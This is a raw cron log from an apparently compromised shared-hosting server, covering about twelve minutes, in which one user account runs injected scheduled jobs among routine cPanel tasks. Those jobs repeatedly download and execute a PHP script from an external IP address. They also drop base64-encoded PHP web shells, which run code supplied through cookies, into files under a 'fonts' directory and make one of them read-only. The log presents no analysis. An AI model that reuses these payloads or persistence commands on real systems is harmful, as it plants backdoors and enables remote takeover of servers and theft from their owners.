Sep  8 00:10:02 ip-184-168-122-23 CROND[9214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:10:02 ip-184-168-122-23 CROND[9216]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:10:02 ip-184-168-122-23 CROND[9217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:10:02 ip-184-168-122-23 CROND[9219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:10:02 ip-184-168-122-23 CROND[9218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:10:02 ip-184-168-122-23 CROND[9215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:11:01 ip-184-168-122-23 CROND[9416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:11:01 ip-184-168-122-23 CROND[9418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:11:01 ip-184-168-122-23 CROND[9417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:11:01 ip-184-168-122-23 CROND[9419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:12:01 ip-184-168-122-23 CROND[9506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:12:01 ip-184-168-122-23 CROND[9509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:12:01 ip-184-168-122-23 CROND[9508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:12:01 ip-184-168-122-23 CROND[9507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:12:01 ip-184-168-122-23 CROND[9510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:13:01 ip-184-168-122-23 CROND[9589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:13:01 ip-184-168-122-23 CROND[9590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:13:01 ip-184-168-122-23 CROND[9591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:13:01 ip-184-168-122-23 CROND[9592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:14:01 ip-184-168-122-23 CROND[9686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:14:01 ip-184-168-122-23 CROND[9684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:14:01 ip-184-168-122-23 CROND[9687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:14:01 ip-184-168-122-23 CROND[9685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:14:01 ip-184-168-122-23 CROND[9688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9837]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:15:01 ip-184-168-122-23 CROND[9839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:16:01 ip-184-168-122-23 CROND[9941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:16:01 ip-184-168-122-23 CROND[9942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:16:01 ip-184-168-122-23 CROND[9944]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:16:01 ip-184-168-122-23 CROND[9943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:16:01 ip-184-168-122-23 CROND[9947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:16:01 ip-184-168-122-23 CROND[9945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:17:01 ip-184-168-122-23 CROND[10028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:17:01 ip-184-168-122-23 CROND[10030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:17:01 ip-184-168-122-23 CROND[10029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:17:01 ip-184-168-122-23 CROND[10031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:18:01 ip-184-168-122-23 CROND[10190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:18:01 ip-184-168-122-23 CROND[10193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:18:01 ip-184-168-122-23 CROND[10194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:18:01 ip-184-168-122-23 CROND[10197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:18:01 ip-184-168-122-23 CROND[10192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:19:01 ip-184-168-122-23 CROND[10282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:19:01 ip-184-168-122-23 CROND[10283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:19:01 ip-184-168-122-23 CROND[10285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:19:01 ip-184-168-122-23 CROND[10286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:20:01 ip-184-168-122-23 CROND[10369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:20:01 ip-184-168-122-23 CROND[10372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:20:02 ip-184-168-122-23 CROND[10375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:20:02 ip-184-168-122-23 CROND[10374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:20:02 ip-184-168-122-23 CROND[10373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:20:02 ip-184-168-122-23 CROND[10379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:20:02 ip-184-168-122-23 CROND[10380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:20:02 ip-184-168-122-23 CROND[10377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:20:02 ip-184-168-122-23 CROND[10378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:21:01 ip-184-168-122-23 CROND[10492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:21:01 ip-184-168-122-23 CROND[10493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:21:01 ip-184-168-122-23 CROND[10491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:21:01 ip-184-168-122-23 CROND[10494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:22:01 ip-184-168-122-23 CROND[10576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
